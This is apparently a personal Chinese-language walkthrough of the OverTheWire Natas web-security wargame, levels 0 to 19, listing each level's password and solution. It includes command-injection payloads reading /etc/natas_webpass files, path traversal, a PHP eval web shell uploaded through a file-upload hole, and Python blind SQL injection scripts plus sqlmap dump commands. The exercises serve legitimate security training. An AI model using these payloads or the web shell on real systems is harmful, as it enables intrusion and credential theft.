Natas
Level 0
Username
natas0
Password
natas0
URL
http://natas0.natas.labs.overthewire.org
提示:You can find the password for the next level on this page.
使用开发者工具查看页面源代码即可获得下一关的口令
Level 1
Username
natas1
Password
gtVrDuiDfck831PqWsLEZy5gyDz1clto
URL
http://natas1.natas.labs.overthewire.org
提示:You can find the password for the next level on this page, but rightclicking has been blocked!
(但是咕咕几乎不怎么用右键查看页面源代码的(╮ŏωŏ)╭)
使用开发者工具查看页面源代码即可获得下一关的口令
Level 2
Username
natas2
Password
ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
URL
http://natas2.natas.labs.overthewire.org
提示:There is nothing on this page
查看页面源代码,发现使用了一张files
路径下的图片(因为只有 1X1 的大小,所以页面上看不到)
访问 http://natas2.natas.labs.overthewire.org/files ,发现该路径下还有一个 users.txt 文件,查看该文件获得用户 natas3 的口令
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
eve:zo4mJWyNj2
mallory:9urtcpzBmH
Level 3
Username
natas3
Password
sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
URL
http://natas3.natas.labs.overthewire.org
参考资料
Level 4
Username
natas4
Password
Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
URL
http://natas4.natas.labs.overthewire.org
Level 5
Username
natas5
Password
iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
URL
http://natas5.natas.labs.overthewire.org
进入后提示没有登录!(╥ω╥)
查看 HTTP 请求头,发现 Cookie 字段为loggedin=0
,非常可疑(—ˋωˊ—)!
将loggedin=0
修改为loggedin=1
并发送 HTTP 请求,成功登录!
Level 6
Username
natas6
Password
aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
URL
http://natas6.natas.labs.overthewire.org
出现输入框了!
先看看源代码
< html >
< head >
<!-- This stuff in the header has nothing to do with the level -->
</ head >
< body >
< h1 > natas6</ h1 >
< div id = "content" >
<?
include "includes/secret.inc";
# 使用的是相对路径
if(array_key_exists("submit", $_POST)) {
# 需要知道 $secret 的值
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
< form method = post >
Input secret: < input name = secret >< br >
< input type = submit name = submit >
</ form >
< div id = "viewsource" >< a href = "index-source.html" > View sourcecode</ a ></ div >
</ div >
</ body >
</ html >
注意到 include 文件使用的是相对路径,访问 http://natas6.natas.labs.overthewire.org/includes/secret.inc ,在网页源代码中看到变量 $secret 的值
回到 http://natas6.natas.labs.overthewire.org ,输入密码,获得 natas7 的口令
Level 7
Username
natas7
Password
7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
URL
http://natas7.natas.labs.overthewire.org
首页给出了 Home 和 About 页面的链接,并提示 natas8 的口令存储在/etc/natas_webpass/natas8
通过 GET 方式传递参数给 index.php ,那么除了home
和about
,随便传一个值试试叭(—ˋωˊ—)
include()
首先查看传入的文件路径(由上图可知,传入include()
函数的参数即为 page 变量的值),其次查看定义的include_path
,最后检查调用脚本所在的目录和当前工作目录。那么可通过page=/etc/natas_webpass/natas8
或page=../../../../etc/natas_webpass/natas8
来获得下一关的口令
参考资料
PHP: include - Manual
Level 8
Username
natas8
Password
DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
URL
http://natas8.natas.labs.overthewire.org
再次出现输入框,先查看源代码
< html >
< head >
<!-- This stuff in the header has nothing to do with the level -->
</ head >
< body >
< h1 > natas8</ h1 >
< div id = "content" >
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
# 输入经过 Base64 编码、字符串反转,最后转化为十六进制字符串
# 结果要与 $encodedSecret 相等
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
< form method = post >
Input secret: < input name = secret >< br >
< input type = submit name = submit >
</ form >
< div id = "viewsource" >< a href = "index-source.html" > View sourcecode</ a ></ div >
</ div >
</ body >
</ html >
对$encodedSecret
进行逆操作,以得到要提交的secret
的值
$ echo 0x3d3d516343746d4d6d6c315669563362 | xxd -r | rev | base64 -d
oubWYf2kBq
提交即可获取口令
Level 9
Username
natas9
Password
W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
URL
http://natas9.natas.labs.overthewire.org
要求的输入发生变化了
总之先查看源代码
< html >
< head >
<!-- This stuff in the header has nothing to do with the level -->
</ head >
< body >
< h1 > natas9</ h1 >
< div id = "content" >
< form >
Find words containing: < input name = needle >< input type = submit name = submit value = Search >< br >< br >
</ form >
Output:
< pre >
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
</ pre >
< div id = "viewsource" >< a href = "index-source.html" > View sourcecode</ a ></ div >
</ div >
</ body >
</ html >
输入没有经过任何处理直接放到命令字符串里了!这样一来,可就不能只执行一个命令了哦~👿提交;cat /etc/natas_webpass/natas10 #
,拼接后的命令如下
grep -i ; cat /etc/natas_webpass/natas10 # dictionary.txt
成功获得下一关的口令
Level 10
Username
natas10
Password
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
URL
http://natas10.natas.labs.overthewire.org
这回会过滤掉一些字符(ŏωŏ)
通过源代码,发现分隔符被过滤掉了(╥ω╥)
< html >
< head >
<!-- This stuff in the header has nothing to do with the level -->
</ head >
< body >
< h1 > natas10</ h1 >
< div id = "content" >
For security reasons, we now filter on certain characters< br />< br />
< form >
Find words containing: < input name = needle >< input type = submit name = submit value = Search >< br >< br >
</ form >
Output:
< pre >
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
# 过滤掉了分隔符
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
</ pre >
< div id = "viewsource" >< a href = "index-source.html" > View sourcecode</ a ></ div >
</ div >
</ body >
</ html >
不过,grep
可以同时处理多个文件,那么只要猜测/etc/natas_webpass/natas11
文件内容中的一个字符就可以啦~(推荐猜数字(<ゝωΦ),0-9 就可以,同时 dictionary.txt 文件中也不含数字)
Usage: grep [OPTION]... PATTERN [FILE]...
提交1 /etc/natas_webpass/natas11
,惊喜!
Level 11
Username
natas11
Password
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
URL
http://natas11.natas.labs.overthewire.org
可以通过表单提交并设置背景颜色,提示:Cookies 受异或加密保护 ?
查看网页源代码,了解到需要通过 Cookie 设置showpassword
的值为yes
< html >
< head >
<!-- This stuff in the header has nothing to do with the level -->
</ head >
<?
# 变量 $defaultdata 中 showpassword 的初始值为 no
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
# 异或运算,可通过将输入和输出异或得到变量 $key
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
# HTTP 请求头中包含的 Cookie 主要用于传递 showpassword 的值
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
# 保存到 Cookie 中
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
# 将 Cookie 的值经过 Base64 解码、与密钥异或并转化为 json 格式赋值给变量 $data
$data = loadData($defaultdata);
# 接收通过 GET 请求(表单)提交的背景颜色并设置
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
< h1 > natas11</ h1 >
< div id = "content" >
< body style = "background: <?=$data['bgcolor']?>;" >
Cookies are protected with XOR encryption< br />< br />
<?
# 需要得到包含 $data["showpassword"] == "yes" 对应的 Cookie
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>
< form >
Background color: < input name = bgcolor value = "<?=$data['bgcolor']?>" >
< input type = submit value = "Set color" >
</ form >
< div id = "viewsource" >< a href = "index-source.html" > View sourcecode</ a ></ div >
</ div >
</ body >
</ html >
直接提交表单,获得变量$defaultdata
对应的 Cookie
通过异或获得变量$key
的值
<?php
# calc.php
$defaultdata = array ( "showpassword" => "no" , "bgcolor" => "#ffffff" );
$data = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=" ;
function xor_encrypt ( $in , $out ) {
$outText = '' ;
for ( $i = 0 ; $i < strlen ( $in ); $i ++ ) {
$outText .= $in [ $i ] ^ $out [ $i % strlen ( $out )];
}
return $outText ;
}
echo xor_encrypt ( base64_decode ( $data ), json_encode ( $defaultdata ));
?>
循环节长度为 4,轻松获得$key
值:qw8J
$ php -f calc.php
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
接下来获取目标 Cookie
$ php -f calc.php
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
<?php
# calc.php
$targetdata = array ( "showpassword" => "yes" , "bgcolor" => "#ffffff" );
function xor_encrypt ( $in ) {
$key = 'qw8J' ;
$text = $in ;
$outText = '' ;
for ( $i = 0 ; $i < strlen ( $text ); $i ++ ) {
$outText .= $text [ $i ] ^ $key [ $i % strlen ( $key )];
}
return $outText ;
}
echo base64_encode ( xor_encrypt ( json_encode ( $targetdata )));
?>
编辑原 HTTP 请求头中的 Cookie 的值,并再次发送,成功获取下一关口令
Level 12
Username
natas12
Password
EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
URL
http://natas12.natas.labs.overthewire.org
表单:上传 JPEG 文件
查看源代码,注意到并没有对上传文件进行类型检查(包括文件后缀名),上传到服务器后,文件名是随机生成的字符串,文件后缀名则由前端直接定义
< html >
< head >
<!-- This stuff in the header has nothing to do with the level -->
</ head >
< body >
< h1 > natas12</ h1 >
< div id = "content" >
<?
# 生成长度为 10 的随机字符串
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
# 获得传入路径字符串中的文件扩展名
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
}
else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
}
else {
?>
< form enctype = "multipart/form-data" action = "index.php" method = "POST" >
< input type = "hidden" name = "MAX_FILE_SIZE" value = "1000" />
<!-- 直接定义文件后缀名。此处显示的文件名无效 -->
< input type = "hidden" name = "filename" value = "<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):< br />
< input name = "uploadedfile" type = "file" />< br />
< input type = "submit" value = "Upload File" />
</ form >
<? } ?>
< div id = "viewsource" >< a href = "index-source.html" > View sourcecode</ a ></ div >
</ div >
</ body >
</ html >
创建并编辑文件hack.php
<?php @ eval ( $_POST [ 'pass' ]); ?>
修改前端表单,将文件后缀jpg
改为php
,并上传文件hack.php
保存文件链接
先使用中国菜刀浏览器访问 http://natas12.natas.labs.overthewire.org ,完成身份验证
添加SHELL
进入文件系统后,找到/etc/natas_webpass/natas13
即可
Level 13
Username
natas13
Password
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
URL
http://natas13.natas.labs.overthewire.org
页面提示只接收图片文件
源码中使用exif_imagetype
函数判断上传的文件是否为图片(返回 FALSE 或图片类型),exif_imagetype
通过读取文件的第一个字节进行判断
< html >
< head >
<!-- This stuff in the header has nothing to do with the level -->
</ head >
< body >
< h1 > natas13</ h1 >
< div id = "content" >
For security reasons, we now only accept image files!< br />< br />
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
< form enctype = "multipart/form-data" action = "index.php" method = "POST" >
< input type = "hidden" name = "MAX_FILE_SIZE" value = "1000" />
< input type = "hidden" name = "filename" value = "<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):< br />
< input name = "uploadedfile" type = "file" />< br />
< input type = "submit" value = "Upload File" />
</ form >
<? } ?>
< div id = "viewsource" >< a href = "index-source.html" > View sourcecode</ a ></ div >
</ div >
</ body >
</ html >
在hack.php
中添加任意图片文件文件头即可绕过exif_imagetype
检查
BM
<?php @ eval ( $_POST [ 'pass' ]); ?>
接下来,修改前端文件后缀名、上传文件、使用菜刀的步骤、方法与 Level 12 一致
参考资料
PHP: exif_imagetype - Manual
Level 14
Username
natas14
Password
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
URL
http://natas14.natas.labs.overthewire.org
一个用户登录的表单
从源代码可以看到,提交的表单字符串未经过任何过滤,直接被拼接到了 SQL 语句中
< html >
< head >
<!-- This stuff in the header has nothing to do with the level -->
</ head >
< body >
< h1 > natas14</ h1 >
< div id = "content" >
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);
# 注意是双引号
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>
< form action = "index.php" method = "POST" >
Username: < input name = "username" >< br >
Password: < input name = "password" >< br >
< input type = "submit" value = "Login" />
</ form >
<? } ?>
< div id = "viewsource" >< a href = "index-source.html" > View sourcecode</ a ></ div >
</ div >
</ body >
</ html >
使用最简单的 SQL 注入方式即可
下一关口令 GET✔
Level 15
Username
natas15
Password
AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
URL
http://natas15.natas.labs.overthewire.org
输入用户名,检查该用户是否存在
查看源码,其中提供了 users 数据库表结构,各字段的类型及长度限制
< html >
< head >
<!-- This stuff in the header has nothing to do with the level -->
</ head >
< body >
< h1 > natas15</ h1 >
< div id = "content" >
<?
# 提供了 users 数据库表结构
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
# 查询结果不直接回显
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
< form action = "index.php" method = "POST" >
Username: < input name = "username" >< br >
< input type = "submit" value = "Check existence" />
</ form >
<? } ?>
< div id = "viewsource" >< a href = "index-source.html" > View sourcecode</ a ></ div >
</ div >
</ body >
</ html >
由于查询结果不能回显到前端,需要进行 SQL 盲注(blind-based SQL injection )
需要获取的是用户 natas16 的口令,查询、确认该用户存在
通过布尔型 SQL 盲注获取 32 位的口令
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
from lxml import etree
auth_username = 'natas15'
auth_password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
url = 'http://natas15.natas.labs.overthewire.org'
table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
key = ''
for i in range ( 1 , 33 ):
l , r = 0 , 61
while l <= r :
mid = ( l + r ) >> 1
ch = table [ mid ]
res = requests . post ( url + '/index.php' , { 'username' : '" UNION SELECT * FROM users WHERE username = "natas16" and ascii(SUBSTRING(password, %d , 1)) >= ascii(" %s ")#' % ( i , ch )}, auth = ( auth_username , auth_password ), headers = { 'Connection' : 'close' })
sqlres = etree . HTML ( res . content ) . xpath ( '/html/body/div/text()' )[ 0 ]
if "This user exists" in sqlres :
l = mid + 1
ans = mid
else :
r = mid - 1
key += table [ ans ]
print ( key )
也可以使用sqlmap
# 枚举数据库
$ sqlmap -u http://natas15.natas.labs.overthewire.org/index.php --auth-type= basic --auth-cred= natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --data= username = natas16 --dbms= mysql --level= 5 --dbs
...
available databases [ 2 ] :
[ *] information_schema
[ *] natas15
...
# 表名已知,直接获取 users 表
$ sqlmap -u http://natas15.natas.labs.overthewire.org/index.php --auth-type= basic --auth-cred= natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --data= username = natas16 --dbms= mysql --level= 5 -D natas15 -T users --dump
...
Database: natas15
Table: users
[ 4 entries]
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| bob | 6P151OntQe |
| charlie | HLwuGKts2w |
| alice | hROtsfM734 |
| natas16 | WaIHEacj63wnNIBROHeqi3p9t0m5nhmh |
+----------+----------------------------------+
...
参考资料
Level 16
Username
natas16
Password
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
URL
http://natas16.natas.labs.overthewire.org
是 Level 10 的加强版(—ˋωˊ—)
与 Level 10 的主要区别为多过滤了反引号、单双引号,并且在执行grep
命令的语句中,使用双引号包裹了$key
变量
< html >
< head >
<!-- This stuff in the header has nothing to do with the level -->
</ head >
< body >
< h1 > natas16</ h1 >
< div id = "content" >
For security reasons, we now filter even more on certain characters< br />< br />
< form >
Find words containing: < input name = needle >< input type = submit name = submit value = Search >< br >< br >
</ form >
Output:
< pre >
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
# 无论什么输入都只能作为模式字符串
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
</ pre >
< div id = "viewsource" >< a href = "index-source.html" > View sourcecode</ a ></ div >
</ div >
</ body >
</ html >
还剩下命令替换$(cmd)
没有被过滤,可使用类似 Level 15 的方法依次获取下一关口令字符
提交?needle=$(grep -E ^.{n-1}X /etc/natas_webpass/natas17)Allah
,即查看/etc/natas_webpass/natas17
内字符串的第 n 位是否为 X ,若是,返回值不为空,与其后紧随的单词组合导致无法在dictionary.txt
查找到该词,返回为空,否则将在 Output 处有输出
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
from lxml import etree
auth_username = 'natas16'
auth_password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
url = 'http://natas16.natas.labs.overthewire.org/'
table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
key = ''
for i in range ( 1 , 33 ):
for ch in table :
res = requests . post ( url + '?needle=$(grep -E ^.{ %d } %c /etc/natas_webpass/natas17)Allah' % ( i - 1 , ch ), auth = ( auth_username , auth_password ), headers = { 'Connection' : 'close' })
sqlres = etree . HTML ( res . content ) . xpath ( '/html/body/div[1]/pre/text()' )[ 0 ] . strip ()
if len ( sqlres ) == 0 :
key += ch
break
print ( key )
Level 17
Username
natas17
Password
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
URL
http://natas17.natas.labs.overthewire.org
前端同 Level 15 ,输入用户名,检查该用户是否存在
查看源代码,发现查询结果输出部分都被注释掉了
< html >
< head >
<!-- This stuff in the header has nothing to do with the level -->
</ head >
< body >
< h1 > natas17</ h1 >
< div id = "content" >
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
< form action = "index.php" method = "POST" >
Username: < input name = "username" >< br >
< input type = "submit" value = "Check existence" />
</ form >
<? } ?>
< div id = "viewsource" >< a href = "index-source.html" > View sourcecode</ a ></ div >
</ div >
</ body >
</ html >
可以基于时间延迟进行 SQL 盲注
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
from lxml import etree
auth_username = 'natas17'
auth_password = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'
url = 'http://natas17.natas.labs.overthewire.org'
table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
key = ''
for i in range ( 1 , 33 ):
l , r = 0 , 61
while l <= r :
mid = ( l + r ) >> 1
ch = table [ mid ]
while True :
res = requests . post ( url + '/index.php' , { 'username' : '" UNION SELECT * FROM users WHERE username = "natas18" and ascii(SUBSTRING(password, %d , 1)) >= ascii(" %s ") and sleep(2)#' % ( i , ch )}, auth = ( auth_username , auth_password ), headers = { 'Connection' : 'close' })
if res . status_code == 200 :
break
if res . elapsed . seconds >= 2 :
l = mid + 1
ans = mid
else :
r = mid - 1
key += table [ ans ]
print ( key )
Level 18
Username
natas18
Password
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
URL
http://natas18.natas.labs.overthewire.org
提示需要使用管理员账号登录才能获得下一关口令
原本管理员是通过用户名来判断,但由于这种方法不安全,isValidAdminLogin()
中的关键语句被注释,任何情况下都会返回 0
< html >
< head >
<!-- This stuff in the header has nothing to do with the level -->
</ head >
< body >
< h1 > natas18</ h1 >
< div id = "content" >
<?
# 这里有点意思,640 明显很小耶 (ŏωŏ)
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
if($showform) {
?>
< p >
Please login with your admin account to retrieve credentials for natas19.
</ p >
< form action = "index.php" method = "POST" >
Username: < input name = "username" >< br >
Password: < input name = "password" >< br >
< input type = "submit" value = "Login" />
</ form >
<? } ?>
< div id = "viewsource" >< a href = "index-source.html" > View sourcecode</ a ></ div >
</ div >
</ body >
</ html >
用户的 PHPSESSID 是范围在 \([1, 640]\) ,那么只要暴力找到admin
的 PHPSESSID 就好了(<ゝωΦ)
Level 19
Username
natas19
Password
4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
URL
http://natas19.natas.labs.overthewire.org
session ID 不再连续了……
通过观察发现,新的 PHPSESSID 的格式为随机1~3位数字 + "-" + 用户名
的 ASCII 码字符串
接下来就是暴力枚举 1 至 3 位的随机数字
经过很长一段时间的枚举……(<ゝωΦ)
最后更新:
2020年11月20日 11:19:18